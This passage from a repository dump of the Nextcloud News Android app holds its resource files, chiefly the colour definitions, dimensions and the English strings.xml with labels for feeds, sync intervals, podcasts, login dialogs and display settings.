android:visible=\"false\"\n        tools:ignore=\"HardcodedText\" />\n\n\n</menu>\n"
  },
  {
    "path": "News-Android-App/src/main/res/mipmap-anydpi-v26/ic_launcher.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<adaptive-icon xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <background android:drawable=\"@drawable/ic_launcher_background\"/>\n    <foreground android:drawable=\"@drawable/ic_launcher_foreground\"/>\n    <monochrome android:drawable=\"@drawable/ic_launcher_foreground\"/>\n</adaptive-icon>"
  },
  {
    "path": "News-Android-App/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<adaptive-icon xmlns:android=\"http://schemas.android.com/apk/res/android\">\n    <background android:drawable=\"@drawable/ic_launcher_background\"/>\n    <foreground android:drawable=\"@drawable/ic_launcher_foreground\"/>\n    <monochrome android:drawable=\"@drawable/ic_launcher_foreground\"/>\n</adaptive-icon>"
  },
  {
    "path": "News-Android-App/src/main/res/values/attrs.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <attr name=\"dividerLineColor\" format=\"color\" />\n\n    <attr name=\"starredColor\" format=\"color\" />\n    <attr name=\"unstarredColor\" format=\"color\" />\n    <attr name=\"starredDrawable\" format=\"reference\" />\n    <attr name=\"openinbrowserDrawable\" format=\"reference\" />\n    <attr name=\"markasreadDrawable\" format=\"reference\" />\n\n    <attr name=\"shareDrawable\" format=\"reference\" />\n\n    <attr name=\"news_detail_background_color\" format=\"color\" />\n\n    <attr name=\"primaryTextColor\" format=\"color\" />\n\n</resources>"
  },
  {
    "path": "News-Android-App/src/main/res/values/booleans.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n    <bool name=\"isDayMode\">true</bool>\n</resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values/colors.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources xmlns:tools=\"http://schemas.android.com/tools\">\n    <color name=\"nextcloudBlue\">#0082C9</color>\n\n    <!-- As in android-common -->\n    <color name=\"bg_default\">@android:color/white</color>\n\n    <!-- Generated by android-common -->\n    <color name=\"background\">#FCFCFF</color>\n    <color name=\"error\">#BA1A1A</color>\n    <color name=\"errorContainer\">#FFDAD6</color>\n    <color name=\"inverseOnSurface\">#F0F0F4</color>\n    <color name=\"inversePrimary\">#96CCFF</color>\n    <color name=\"inverseSurface\">#2F3033</color>\n    <color name=\"onBackground\">#1A1C1E</color>\n    <color name=\"onError\">#FFFFFF</color>\n    <color name=\"onErrorContainer\">#410002</color>\n    <color name=\"onPrimary\">#FFFFFF</color>\n    <color name=\"onPrimaryContainer\">#001D32</color>\n    <color name=\"onSecondary\">#FFFFFF</color>\n    <color name=\"onSecondaryContainer\">#0E1D2A</color>\n    <color name=\"onSurface\">#1A1C1E</color>\n    <color name=\"onSurfaceVariant\">#42474E</color>\n    <color name=\"onTertiary\">#FFFFFF</color>\n    <color name=\"onTertiaryContainer\">#231533</color>\n    <color name=\"outline\">#72777F</color>\n    <color name=\"outlineVariant\">#C2C7CF</color>\n    <color name=\"primary\">#00639A</color>\n    <color name=\"primaryContainer\">#CEE5FF</color>\n    <color name=\"scrim\">#000000</color>\n    <color name=\"secondary\">#51606F</color>\n    <color name=\"secondaryContainer\">#D5E4F7</color>\n    <color name=\"shadow\">#000000</color>\n    <color name=\"surface\">#FCFCFF</color>\n    <color name=\"surfaceVariant\">#DEE3EB</color>\n    <color name=\"tertiary\">#68587A</color>\n    <color name=\"tertiaryContainer\">#EEDBFF</color>\n\n\n    <color name=\"primaryTextColor\">@android:color/black</color>\n\n    <color name=\"divider_row_color\">#292929</color>\n\n    <color name=\"options_menu_item_text\">@color/options_menu_item</color>\n\n    <color name=\"text_medium_emphasis\">#a0000000</color>\n\n    <color name=\"fast_action_background\">@color/nextcloudBlue</color>\n\n    <!-- see also assets/web.css -->\n    <color name=\"news_detail_background_color\">@color/bg_default</color>\n    <color name=\"news_detail_background_color_oled\">@color/bg_default</color>\n\n\n    <color name=\"colorPrimary\">@android:color/white</color>\n    <color name=\"rss_item_list_background\">@color/bg_default</color>\n\n\n    <color name=\"starredColor\">@android:color/holo_orange_light</color>\n    <color name=\"unstarredColor\">#ff888888</color>\n    <color name=\"markasreadColor\">@android:color/holo_green_light</color>\n    <color name=\"swipeBackground\">#aaa</color>\n    <color name=\"menuSeparator\">#aaa</color>\n\n    <!-- override libs -->\n    <color name=\"chglib_background_default_divider_color\">#00000000</color>\n\n    <color name=\"widget_background\">#ddffffff</color>\n    <color name=\"widget_foreground\">#222222</color>\n\n    <!-- Default Material Design Colors -->\n    <color name=\"material_grey_50\" tools:override=\"true\">#fffafafa</color>\n    <color name=\"material_grey_100\" tools:override=\"true\">#fff5f5f5</color>\n    <color name=\"material_grey_300\" tools:override=\"true\">#ffeeeeee</color>\n    <color name=\"material_grey_500\" tools:override=\"true\">#9E9E9E</color>\n    <color name=\"material_grey_600\" tools:override=\"true\">#757575</color>\n    <color name=\"material_grey_700\" tools:override=\"true\">#ff717171</color>\n    <color name=\"material_grey_800\" tools:override=\"true\">#424242</color>\n    <color name=\"material_grey_900\" tools:override=\"true\">#212121</color>\n\n</resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values/config.xml",
    "content": "<resources>\n    <bool name=\"isTablet\">false</bool>\n</resources>"
  },
  {
    "path": "News-Android-App/src/main/res/values/dimens.xml",
    "content": "<resources>\n\n    <!-- Default screen margins, per the Android Design guidelines. -->\n    <dimen name=\"activity_horizontal_margin\">16dp</dimen>\n    <dimen name=\"activity_vertical_margin\">16dp</dimen>\n\n    <dimen name=\"listview_row_margin_left\">16dp</dimen>\n    <dimen name=\"listview_row_margin_right\">16dp</dimen>\n    <dimen name=\"listview_row_margin_top\">8dp</dimen>\n    <dimen name=\"listview_row_margin_bottom\">8dp</dimen>\n\n    <dimen name=\"exp_listview_row_height\">48dp</dimen>\n\n\n    <dimen name=\"podcast_video_player_width\">210dp</dimen>\n    <dimen name=\"podcast_video_player_height\">120dp</dimen>\n\n    <dimen name=\"podcast_horizontal_margin\">16dp</dimen>\n\n    <dimen name=\"podcast_media_control_height\">80dp</dimen>\n\n    <dimen name=\"empty_content_font_size\">26sp</dimen>\n\n    <dimen name=\"spacer_1hx\">4dp</dimen>\n    <dimen name=\"spacer_1x\">8dp</dimen>\n    <dimen name=\"spacer_2x\">16dp</dimen>\n    <dimen name=\"widget_outer_radius\">@dimen/spacer_1x</dimen>\n</resources>"
  },
  {
    "path": "News-Android-App/src/main/res/values/integers.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>    \n    <integer name=\"default_sync_minutes\">15</integer>\n\n</resources>\n\n"
  },
  {
    "path": "News-Android-App/src/main/res/values/isrighttoleft.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n    <bool name=\"is_right_to_left\">false</bool>\n</resources>"
  },
  {
    "path": "News-Android-App/src/main/res/values/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Auto sync</string>\n    <string name=\"app_name\" translatable=\"false\">News</string>\n    <string name=\"full_app_name\" translatable=\"false\">Nextcloud News</string>\n    <string name=\"account_type\" translatable=\"false\">de.luhmer.owncloudnewsreader</string>\n    <string name=\"authority\" translatable=\"false\">de.luhmer.owncloudnewsreader</string>\n    <string name=\"title_activity_sync_interval_selector\">Sync Interval</string>\n    <string name=\"empty_view_content\">No items here</string>\n    <string name=\"empty_view_content_action\">Pull down to refresh</string>\n    <string name=\"toast_GettingMoreItems\">Download of more items started. Please wait …</string>\n    <string name=\"no_wifi_available\">No WiFi connected</string>\n    <string name=\"do_you_want_to_download_without_wifi\">Do you want to download the images without a Wi-Fi connection?</string>\n    <string name=\"current_version\">You\\'re using Version %s</string>\n    <string name=\"widget_header\">Nextcloud News</string>\n    <string name=\"message_bar_scroll_top\">Reload and scroll to the top</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d new item available</item>\n        <item quantity=\"other\">%d new items available</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Reload</string>\n    <string name=\"allUnreadFeeds\">All unread items</string>\n    <string name=\"starredFeeds\">Starred items</string>\n    <string name=\"downloadedPodcasts\">Downloaded podcasts</string>\n    <string name=\"title_activity_new_feed\">Add new feed</string>\n\n    <string name=\"menu_update\">Refresh</string>\n    <string name=\"menu_markAllAsRead\">Mark all as read</string>\n    <string name=\"menu_StartImageCaching\">Download images</string>\n    <string name=\"menu_downloadMoreItems\">Download more items</string>\n\n    <string name=\"img_view_thumbnail\" translatable=\"false\">Thumbnail</string>\n    <string name=\"tv_showing_cached_version\">Showing cached version</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Starred</string>\n    <string name=\"action_read\">Read</string>\n    <string name=\"action_playPodacst\">Play Podcast</string>\n    <string name=\"action_removePodcast\">Remove Podcast Media</string>\n    <string name=\"action_openInBrowser\">Open in Web browser</string>\n    <string name=\"action_Share\">Share</string>\n    <string name=\"action_login\">Server Settings</string>\n    <string name=\"action_save\">Save</string>\n    <string name=\"action_settings\">Settings</string>\n    <string name=\"action_sync_settings\">Sync Settings</string>\n    <string name=\"action_add_new_feed\">Add new feed</string>\n    <string name=\"action_add_new_folder\">Add new folder</string>\n    <string name=\"action_textToSpeech\">Read out</string>\n    <string name=\"action_search\">Search</string>\n    <string name=\"action_download_articles_offline\">Download articles offline</string>\n    <string name=\"news_list_drawer_text\" translatable=\"false\">Feed-list</string>\n\n\n\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">Downloading articles for offline usage</string>\n    <string name=\"notification_download_images_offline\">Downloading images for offline usage</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">You have %d new unread item</item>\n        <item quantity=\"other\">You have %d new unread items</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d new unread item available</item>\n        <item quantity=\"other\">%d new unread items available</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">Feed URL</string>\n    <string name=\"action_add_feed\">Add feed</string>\n    <string name=\"import_opml\">Import OPML</string>\n    <string name=\"export_opml\">Export OPML</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Download Image</string>\n    <string name=\"action_img_sharelink\">Share Image Link</string>\n    <string name=\"action_img_open\">Open Image in Browser</string>\n    <string name=\"action_img_copylink\">Copy Image Link</string>\n    <string name=\"action_link_share\">Share Link</string>\n    <string name=\"action_link_open\">Open Link in Browser</string>\n    <string name=\"action_link_copy\">Copy Link</string>\n    <string name=\"toast_img_download_wait\">Downloading. Please wait …</string>\n    <string name=\"toast_img_saved\">Image saved</string>\n    <string name=\"toast_img_notwriteable\">Failed to write Image.</string>\n    <string name=\"toast_copied_to_clipboard\">Copied to clipboard</string>\n    <string name=\"error_download_failed\">Download failed</string>\n    <string name=\"intent_title_share\">Share via</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Remove Feed</string>\n    <string name=\"action_feed_rename\">Rename Feed</string>\n    <string name=\"action_feed_move\">Move Feed</string>\n    <string name=\"action_feed_notification_settings\">Notification settings</string>\n    <string name=\"action_feed_open_in\">Open-in settings</string>\n    <string name=\"action_feed_open_in_general_setting\">Use general setting</string>\n    <string name=\"action_feed_open_in_detailed_view\">Detailed view</string>\n    <string name=\"feed_remove_button\">Remove</string>\n    <string name=\"feed_rename_button\">Rename</string>\n    <string name=\"confirm_feed_remove\">Do you really want to remove this Feed? This cannot be undone!</string>\n    <string name=\"feed_move_list_description\">Select folder to move feed in</string>\n    <string name=\"move_feed_root_folder\">Root folder</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">Remove folder</string>\n    <string name=\"action_folder_rename\">Rename folder</string>\n    <string name=\"folder_remove_button\">Remove</string>\n    <string name=\"folder_rename_button\">Rename</string>\n    <string name=\"confirm_folder_remove\">Do you really want to remove this folder? This cannot be undone!</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">Receive unique notifications for this feed</string>\n    <string name=\"notification_feed_default\">All feeds with the default settings will appear in one notification</string>\n    <string name=\"notification_feed_none\">No notifications at all</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Add</string>\n    <string name=\"hint_folder_name\">Folder name</string>\n    <string name=\"folder_already_exists\">The folder already exists</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Manual login</string>\n    <string name=\"login_sso\">Login using Nextcloud Files App</string>\n    <string name=\"pref_title_username\">Username</string>\n    <string name=\"pref_title_password\">Password</string>\n    <string name=\"pref_title_owncloudRootPath\">Nextcloud root address</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Sign in</string>\n    <string name=\"login_progress_signing_in\">Signing in …</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">This field is required</string>\n    <string name=\"error_invalid_url\">Incorrect URL</string>\n\n    <!--Snackbar Messages -->\n    <plurals name=\"marked_as_read_message\">\n        <item quantity=\"one\">Marked %d item as read</item>\n        <item quantity=\"other\">Marked %d items as read</item>\n    </plurals>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">Downloaded %d old item</item>\n        <item quantity=\"other\">Downloaded %d old items</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">No further items available</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"one\">Fetched %d item so far …</item>\n        <item quantity=\"other\">Fetched %d items so far …</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Settings</string>\n    <string name=\"cache_is_cleared\">Cache is cleared!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">General</string>\n    <string name=\"pref_title_general_sort_order\">Sort Order</string>\n\n    <string name=\"pref_general_sort_order_new_old\">New → Old</string>\n    <string name=\"pref_general_sort_order_old_new\">Old → New</string>\n\n    <string-array name=\"pref_general_swipe_action\" translatable=\"false\">\n        <item>@string/action_openInBrowser</item>\n        <item>@string/action_starred</item>\n        <item>@string/action_read</item>\n        <item>@string/action_Share</item>\n    </string-array>\n    <string-array name=\"pref_general_swipe_action_values\" translatable=\"false\">\n        <item>0</item>\n        <item>1</item>\n        <item>2</item>\n        <item>3</item>\n    </string-array>\n    \n    <string name=\"pref_rename_action_swipe_right\">Action when swiping right</string>\n    <string name=\"pref_rename_action_swipe_left\">Action when swiping left</string>\n\n    <string-array name=\"pref_general_sort_order\" translatable=\"false\">\n        <item>@string/pref_general_sort_order_new_old</item>\n        <item>@string/pref_general_sort_order_old_new</item>\n    </string-array>\n    <string-array name=\"pref_general_sort_order_values_not_translated\" translatable=\"false\">\n        <item>1</item>\n        <item>0</item>\n    </string-array>\n\n    <string name=\"pref_title_general_search_in\">Search In</string>\n\n    <string name=\"pref_general_search_in_title\">Title</string>\n    <string name=\"pref_general_search_in_body\">Body</string>\n    <string name=\"pref_general_search_in_both\">Both</string>\n\n    <string-array name=\"pref_general_search_in\" translatable=\"false\">\n        <item>@string/pref_general_search_in_both</item>\n        <item>@string/pref_general_search_in_title</item>\n        <item>@string/pref_general_search_in_body</item>\n    </string-array>\n    <string-array name=\"pref_general_search_in_values\" translatable=\"false\">\n        <!-- The ordering here is weird as to not break users current setting -->\n        <item>2</item>\n        <item>0</item>\n        <item>1</item>\n    </string-array>\n\n\n    <string name=\"dialog_clearing_cache\">Clearing cache</string>\n    <string name=\"dialog_clearing_cache_please_wait\">Clearing cache. Please wait …</string>\n    <string name=\"reset_cache_unsaved_changes\">There are unsynchronized changes. Would you like to reset the cache anyway?</string>\n    <string name=\"warning\">Warning</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Sync on startup</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Show only unread articles</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Disable Hostname Verification</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Navigate with volume buttons</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Mark as read while scrolling</string>\n    <string name=\"pref_title_SyncWhenScrolledToBottom\">Sync when scrolled to bottom</string>\n    <string name=\"pref_title_ShowFastActions\">Activate fast access functions</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Skip detailed view and open article in the browser</string>\n    <string name=\"pref_title_BackButtonOpensDrawer\">Back button opens drawer</string>\n\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Accept Unknown Certificate?</string>\n    <string name=\"mtm_decision_always\">Always</string>\n    <string name=\"mtm_decision_abort\">Abort</string>\n    <string name=\"mtm_notification\">Certificate Verification</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">No podcast selected</string>\n    <string name=\"no_chapters_available\">No chapters available</string>\n    <string name=\"exit_playback\">Exit Player</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Playback Speed</string>\n    <string name=\"notification_downloading_podcast_title\">Downloading podcast</string>\n    <string name=\"dialog_podcast_remove_title\">Are you sure?</string>\n    <string name=\"dialog_podcast_remove_body\">Do you want to remove downloaded media for %1$s?</string>\n    <string name=\"dialog_podcast_status_failed\">Failed to remove media for %1$s</string>\n    <string name=\"dialog_podcast_status_success\">Media for %1$s has been removed</string>\n    <string name=\"dialog_podcast_remove_confirm\">Remove</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">About</string>\n    <string name=\"pref_license\">License</string>\n    <string name=\"pref_license_summary\">GNU Affero General Public License (AGPL) version 3</string>\n    <string name=\"pref_report_issue\">Report an issue</string>\n    <string name=\"pref_report_issue_summary\">Requires a (free) GitHub account</string>\n    <string name=\"pref_contribute\">Contribute!</string>\n    <string name=\"pref_contribute_summary\">Get the source code</string>\n    <string name=\"pref_privacy\">Privacy</string>\n    <string name=\"pref_privacy_summary\">Nextcloud News Android Privacy Policy</string>\n    <string name=\"pref_news_policy\">Contact Us / News Policy</string>\n    <string name=\"pref_news_policy_summary\">Nextcloud News Android News Policy / Contact Us</string>\n    <string name=\"pref_version\">Nextcloud News Android app</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Display</string>\n    <string name=\"pref_title_app_theme\">Theme</string>\n    <string name=\"pref_title_feed_list_layout\">Feed list layout</string>\n    <string name=\"pref_title_font_size\">Font size</string>\n    <string name=\"pref_display_browser\">Browser</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Action icons (Detail View)</string>\n\n    <string-array name=\"pref_display_news_detail_actionbar_icons\" translatable=\"false\">\n        <item>@string/action_openInBrowser</item>\n        <item>@string/action_Share</item>\n        <item>@string/action_playPodacst</item>\n        <!-- <item>@string/action_textToSpeech</item> -->\n    </string-array>\n    <string-array name=\"pref_display_news_detail_actionbar_icons_values\" translatable=\"false\">\n        <item>open_in_browser</item>\n        <item>share</item>\n        <item>podcast</item>\n        <!-- <item>tts</item> -->\n    </string-array>\n    <string-array name=\"pref_display_news_detail_actionbar_icons_default_values\" translatable=\"false\"></string-array>\n\n\n    <string name=\"pref_display_apptheme_auto\">System Default</string>\n    <string name=\"pref_display_apptheme_light\">Light</string>\n    <string name=\"pref_display_apptheme_dark\">Dark</string>\n\n    <string-array name=\"pref_display_apptheme\" translatable=\"false\">\n        <item>@string/pref_display_apptheme_auto</item>\n        <item>@string/pref_display_apptheme_light</item>\n        <item>@string/pref_display_apptheme_dark</item>\n    </string-array>\n    <string-array name=\"pref_display_apptheme_values\" translatable=\"false\">\n        <item>0</item>\n        <item>1</item>\n        <item>2</item>\n    </string-array>\n\n    <string name=\"pref_oled_mode\">Black background</string>\n    <string name=\"pref_oled_mode_summary\">For dark theme on OLED screens</string>\n\n    <string name=\"pref_detailed_view_zoom\">Detailed view zoom</string>\n    <string name=\"pref_detailed_view_zoom_summary\">Enable zooming the content in the detailed view</string>\n\n    <string name=\"pref_external_player\">External Player</string>\n    <string name=\"pref_external_player_summary\">Play podcasts in your default media app</string>\n\n    <string-array name=\"pref_title_lines_count\" translatable=\"false\">\n        <item>1</item>\n        <item>2</item>\n        <item>3</item>\n        <item>4</item>\n    </string-array>\n    <string-array name=\"pref_title_lines_count_values\" translatable=\"false\">\n        <item>1</item>\n        <item>2</item>\n        <item>3</item>\n        <item>4</item>\n    </string-array>\n\n\n    <string name=\"pref_display_browser_cct\">Built-in Chrome-Custom-Tabs</string>\n    <string name=\"pref_display_browser_built_in\">Built-in Browser</string>\n    <string name=\"pref_display_browser_external\">External Browser</string>\n\n    <string-array name=\"pref_display_browser\" translatable=\"false\">\n        <item>@string/pref_display_browser_cct</item>\n        <item>@string/pref_display_browser_external</item>\n        <item>@string/pref_display_browser_built_in</item>\n    </string-array>\n    <string-array name=\"pref_display_browser_values\" translatable=\"false\">\n        <item>0</item>\n        <item>1</item>\n        <item>2</item>\n    </string-array>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">Thumbnails (only Headlines)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Thumbnails</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Simple text</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Headlines</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Full text</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Web layout</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Card view</string>\n\n    <string-array name=\"pref_display_feed_list_layout\" translatable=\"false\">\n        <item>@string/pref_display_feed_list_layout_headline_thumbnails</item>\n        <item>@string/pref_display_feed_list_layout_thumbnails</item>\n        <item>@string/pref_display_feed_list_layout_headlines</item>\n        <item>@string/pref_display_feed_list_layout_simple_text</item>\n        <item>@string/pref_display_feed_list_layout_full_text</item>\n        <item>@string/pref_display_feed_list_layout_web_layout</item>\n        <item>@string/pref_display_feed_list_layout_card_view</item>\n    </string-array>\n    <string-array name=\"pref_display_feed_list_layout_values\" translatable=\"false\">\n        <item>6</item>\n        <item>0</item>\n        <item>5</item>\n        <item>1</item>\n        <item>3</item>\n        <item>2</item>\n        <item>4</item>\n    </string-array>\n\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Small</string>\n    <string name=\"pref_display_font_size_d\">Default</string>\n    <string name=\"pref_display_font_size_l\">Large</string>\n    <string name=\"pref_display_font_size_xl\">Extra Large</string>\n\n    <string-array name=\"pref_display_font_size\" translatable=\"false\">\n        <item>@string/pref_display_font_size_s</item>\n        <item>@string/pref_display_font_size_d</item>\n        <item>@string/pref_display_font_size_l</item>\n        <item>@string/pref_display_font_size_xl</item>\n    </string-array>\n    <string-array name=\"pref_display_font_size_values\" translatable=\"false\">\n        <item>0.8</item>\n        <item>1.0</item>\n        <item>1.2</item>\n        <item>1.4</item>\n    </string-array>\n\n\n    <!-- content description for images and icons -->\n    <string name=\"content_desc_none\" translatable=\"false\">@null</string>\n    <string name=\"content_desc_play\">Play</string>\n    <string name=\"content_desc_pause\">Pause</string>\n    <string name=\"content_desc_playback_speed\">Playback speed</string>\n    <string name=\"content_desc_rewind\">Rewind</string>\n    <string name=\"content_desc_forward\">Forward</string>\n    <string name=\"content_desc_expand\">Expand</string>\n    <string name=\"content_desc_collapse\">Collapse</string>\n    <string name=\"content_desc_mark_as_read\">Mark as read</string>\n    <string name=\"content_desc_mark_as_unread\">Mark as unread</string>\n    <string name=\"content_desc_tap_to_refresh\">Tap to refresh</string>\n    <string name=\"content_desc_add_to_favorites\">Add to favorites</string>\n    <string name=\"content_desc_remove_from_favorites\">Remove from favorites</string>\n    <string name=\"content_desc_show_password\">Show password</string>\n    <string name=\"content_desc_delete\">Delete</string>\n    <string name=\"content_desc_download\">Download</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Error</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">It looks like your news app is not installed or activated on your server. Please follow the instructions given here to setup the news app on your server first: %1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Something went wrong :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">The Web News App returned Version \"0\". Please take a look at the following bug report: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">This App version is not compatible with your Nextcloud News App. Please upgrade the news app and the appframework.</string>\n    <string name=\"login_dialog_title_security_warning\">Security Warning</string>\n    <string name=\"login_dialog_text_security_warning\">You\\'re not using HTTPS, which is strongly encouraged. An attacker could intercept your traffic and gain access to some sensitive data (e.g. your password).</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">Something went wrong. Please try again.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Data &amp; sync</string>\n    <string name=\"pref_title_clearCache\">Clear cache</string>\n    <string name=\"pref_title_CacheImagesOffline\">Cache images offline</string>\n    <string name=\"pref_title_Max_Cache_Size\">Max Cache Size</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Never</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Over WiFi only</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Over WiFi &amp; Mobile</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Ask when not connected to WiFi</string>\n\n    <string-array name=\"pref_data_sync_image_cache\" translatable=\"false\">\n        <item>@string/pref_data_sync_image_cache_never</item>\n        <item>@string/pref_data_sync_image_cache_wifi_only</item>\n        <item>@string/pref_data_sync_image_cache_wifi_and_mobile</item>\n        <item>@string/pref_data_sync_image_cache_ask</item>\n    </string-array>\n    <string-array name=\"pref_data_sync_image_cache_values\" translatable=\"false\">\n        <item>0</item>\n        <item>1</item>\n        <item>2</item>\n        <item>3</item>\n    </string-array>\n\n\n    <string-array name=\"pref_data_sync_max_cache_size\" translatable=\"false\">\n        <item>250 MB</item>\n        <item>500 MB</item>\n        <item>750 MB</item>\n        <item>1 GB</item>\n        <item>2 GB</item>\n        <item>5 GB</item>\n        <item>10 GB</item>\n    </string-array>\n    <string-array name=\"pref_data_sync_max_cache_size_values\" translatable=\"false\">\n        <item>250</item>\n        <item>500</item>\n        <item>750</item>\n        <item>1000</item>\n        <item>2000</item>\n        <item>5000</item>\n        <item>10000</item>\n    </string-array>\n\n\n    <string name=\"array_sync_interval_min_0\">Never</string>\n    <string name=\"array_sync_interval_min_5\">5 minutes</string>\n    <string name=\"array_sync_interval_min_15\">15 minutes</string>\n    <string name=\"array_sync_interval_min_30\">30 minutes</string>\n    <string name=\"array_sync_interval_min_45\">45 minutes</string>\n    <string name=\"array_sync_interval_hour_1\">1 hour</string>\n    <string name=\"array_sync_interval_hour_2\">2 hours</string>\n    <string name=\"array_sync_interval_hour_3\">3 hours</string>\n    <string name=\"array_sync_interval_hour_6\">6 hours</string>\n    <string name=\"array_sync_interval_hour_12\">12 hours</string>\n    <string name=\"array_sync_interval_hour_24\">24 hours</string>\n    <string name=\"switch_account\">Switch account</string>\n    \n    <string name=\"successfully_exported\">Successfully exported to:</string>\n    <string name=\"opml_export\">OPML Export</string>\n    <string name=\"parsing_opml\">Parsing OPML</string>\n    <string name=\"please_wait\">Please wait …</string>\n    <string name=\"interval_sync_title\">Interval Sync</string>\n\n    <string-array name=\"array_sync_interval\" translatable=\"false\">\n        <item>@string/array_sync_interval_min_0</item>\n        <item>@string/array_sync_interval_min_5</item>\n        <item>@string/array_sync_interval_min_15</item>\n        <item>@string/array_sync_interval_min_30</item>\n        <item>@string/array_sync_interval_min_45</item>\n        <item>@string/array_sync_interval_hour_1</item>\n        <item>@string/array_sync_interval_hour_2</item>\n        <item>@string/array_sync_interval_hour_3</item>\n        <item>@string/array_sync_interval_hour_6</item>\n        <item>@string/array_sync_interval_hour_12</item>\n        <item>@string/array_sync_interval_hour_24</item>\n    </string-array>\n    <string-array name=\"array_sync_interval_values\" translatable=\"false\">\n        <item>0</item>\n        <item>5</item>\n        <item>15</item>\n        <item>30</item>\n        <item>45</item>\n        <item>60</item>\n        <item>120</item>\n        <item>180</item>\n        <item>360</item>\n        <item>720</item>\n        <item>1440</item>\n    </string-array>\n</resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values/styles.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <!--\n        Base application theme, dependent on API level. This theme is replaced\n        by AppBaseTheme from res/values-vXX/styles.xml on newer devices.\n\n    -->\n\n    <!--\n            Theme customizations available in newer API levels can go in\n            res/values-vXX/styles.xml, while customizations related to\n            backward-compatibility can go here.\n\n    -->\n<!--     </style> -->\n\n    <!-- <style name=\"AppBaseTheme\" parent=\"android:Theme.Light\"></style> -->\n    <!-- <style name=\"AppBaseTheme\" parent=\"@style/android:Theme.Material\"></style> -->\n\n    <style name=\"Divider\">\n\t    <item name=\"android:layout_width\">match_parent</item>\n\t    <item name=\"android:layout_height\">1dp</item>\n\t    <item name=\"android:background\">?android:attr/listDivider</item>\n\t</style>\n\n    <!--\n    <style name=\"Theme.Transparent\" parent=\"@style/Theme.Sherlock\">\n\t\t<item name=\"android:windowIsTranslucent\">true</item>\n\t\t<item name=\"android:windowBackground\">@android:color/transparent</item>\n\t\t<item name=\"android:windowContentOverlay\">@null</item>\n\t\t<item 